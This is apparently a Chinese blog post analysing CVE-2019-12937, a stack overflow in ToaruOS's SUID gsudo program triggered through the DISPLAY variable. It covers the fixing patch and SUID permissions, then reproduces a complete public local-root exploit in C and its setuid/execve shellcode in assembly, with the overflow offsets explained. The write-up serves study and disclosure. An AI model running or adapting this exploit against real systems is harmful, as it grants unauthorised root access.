ToaruOS是一套使用C语言编写的开源计算机操作系统,是一个由伊利诺伊大学计算机科学本科生开发的业余爱好操作系统。ToAruOS可在POSIX和x86架构上运行。ToAruOS的主要功能包括对进程和线程的支持、ELF二进制的支持、运行时加载模块、管道(Pipe)和各种类型的终端设备(TTY)的支持、虚拟文件系统的支持、EXT2文件系统的支持、信号量支持等。

从 1.10.9 到 ToaruOS 的 gsudo 中的 apps/gsudo.c 有一个缓冲区溢出,允许通过 DISPLAY 环境变量将本地权限提升到 root 用户。

漏洞分析

首先去查看关于这次漏洞的针对的更新,patch:https://github.com/klange/toaruos/commit/7fdaca463fe6ce86939ea77ac08faa886f624444?diff=split
image.png
通过对比查看看出这个洞原理很简单,作者这次修复的commit只是在原来的基础上增加了两行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
FILE * pex_connect(char * target) {
char tmp[100];

if (strlen(target) > 80) return NULL;

sprintf(tmp, "/dev/pex/%s", target);
FILE * out = fopen(tmp, "r+");
if (out) {
@@ -58,6 +59,7 @@ FILE * pex_connect(char * target) {

FILE * pex_bind(char * target) {
char tmp[100];

if (strlen(target) > 80) return NULL;

sprintf(tmp, "/dev/pex/%s", target);
FILE * out = fopen(tmp, "a+");
if (out) {

sprintf前面加了一行判断if (strlen(target) > 80) return NULL;target的这个字符串长度如果超过80那么就直接返回。

sprintf是一个拼接函数将target和前面的字符串拼接放到了前面的tmp这个局部变量为100个字节大小中,通过判断很可能是sprintf这个函数拼接完的长度超过了tmp 的长度造成了栈溢出的漏洞。

查看一下pex_connect这个函数是从那里调用的
image.png
是通过yutani.c这个文件中的yutani_init这个函数调用的,调用时传入了server_name这个参数,这个参数是通过前面获得环境变量中的DISPLAY参数获得,并且此参数的获取是可控的导致漏洞的触发。

如何提权?

yutani.c是作为一个基础的依赖文件,而权限的提升正是由于gusdo这个应用导致,可以发现这个程序调用了yutani.c导致栈溢出,那为什么这个程序可以提权呢?
image.png

SUID 权限

在Linux中有除了rwx权限外还有s权限,当程序中的x权限变为s时表示,这个程序拥有这个程序所有者的权限。

比如普通用户可以通过passwd修改自己的密码,但是实际修改时/etc/passwd这个文件的内容,但是这个文件只用root才有权限更改,但是我们通过passwd这个拥有suid权限的程序,临时的使用root权限达到修改密码的目的。
image.png

  • SUID 权限仅对二进制可执行文件有效
  • 如果执行者对于该二进制可执行文件具有 x 的权限,执行者将具有该文件的所有者的权限
  • 本权限仅在执行该二进制可执行文件的过程中有效

而gsudo正是拥有suid权限的程序,类似与一些Linux中的sudo、su等用途,临时使用root权限。

poc分析

这里的poc使用的是cve详情中给出的链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
/*
* The Mickey Mouse Hacking Squadron proudly presents
*
* CVE-2019-12937
*
* ToaruOS 1.10.9 gsudo local root exploit
*
* .-"""-.
* / . - \
* \ /
* .-""-.,:.-_-.<
* / _; , / ).|
* \ ; / ` `" '\
* '.-| ;-.____, | .,
* \ `._~_/ / /"/
* ,. /`-.__.-'\`-._ ,",' ;
* \"\ / /| o \._ `-._; / ./-.
* ; ';, / / | `__ \ `-.,( / //.-'
* :\ \\;_.-" ; |.-"` ``\ /-. /.-'
* :\ .\),.-' / }{ | '..'
* \ .-\ | , /
* '..' ;' , /
* ( __ `;--;'__`)
* `//'` `||`
* _// ||
* .-"-._,(__) .(__).-""-.
* / \ / \
* \ / \ /
* `'--=="--` `--""==--'`
*
* local@livecd ~$ gcc kowasu-gsudo.c -o kowasu-gsudo
* local@livecd ~$ whoami
* local
* local@livecd ~$ ./kowasu-gsudo
* 0@livecd /home/local# whoami
* root
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define EIP "\xb0\xb0\x01\x3f"
#define EIP_DISTANCE 26U

char shellcode[] = {
0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00
};
unsigned int shellcode_length = 57;

int main(void)
{
/* Payload is large, because the arguments and environment start around
* 0x3f00XXXX and we need to pivot the address to remove the 0 byte.
* We do this by including a 64k nop sled in the payload.
*/
char payload[65536];
char vector[8192] = "DISPLAY=AAA";
char * const arg[3] = { "/bin/gsudo", "meh", NULL };
char * const env[3] = { payload, vector, NULL };

memset(payload, 'A', sizeof(payload) - shellcode_length - 1);
payload[sizeof(payload) - shellcode_length - 1] = 0;
strcat(payload, shellcode);

for (unsigned int i = 0; i < EIP_DISTANCE; i++)
strcat(vector, EIP);

execve("/bin/gsudo", arg, env);

perror("execve()");
exit(EXIT_FAILURE);
}

tmp的长度为100,溢出的长度为100+ebp(4)+ret(4),对应到payload中为eip乘以4为104加上AAA以及一个空字符刚好为108

跳转的地址为定义的”\xb0\xb0\x01\x3f”,shellcode把它放到了env这个变量中,而这个地址是介于arg与env之前的一个地址,从中随机挑选了这个地址,但是在arg地址中不能出现\x00,所以这之间大量填充了A的Nop的指令。

shellcode

https://github.com/mehsauce/kowasuos/blob/master/shellcode/execve.asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
BITS 32

%define NR_execve 7
%define NR_setuid 24

xor eax, eax
add al, NR_setuid
xor ebx, ebx
int 0x7f
jmp short end
start:
pop ebx
xor eax, eax
mov [ebx+7], al
mov [ebx+8], ebx
mov [ebx+12], eax
add al, NR_execve
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 0x7f
xor eax, eax
int 0x7f
end:
call start
db "/bin/shh"
db "XXXXXXXX"

这个shellcode主要是先通过setuid(0)设置当前进程的一个权限的函数,通过执行system(/bin/sh)返回shell,ToaruOS通过int 0x7f调用系统函数,在syscall_nums.h中有系统的调用号,setuid对应的为24,system对应7,将汇编转换为一个字节码放到poc中执行达到最终的提权。

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12937
https://xz.aliyun.com/t/5914
https://github.com/mehsauce/kowasuos/blob/master/exploits/kowasu-gsudo.c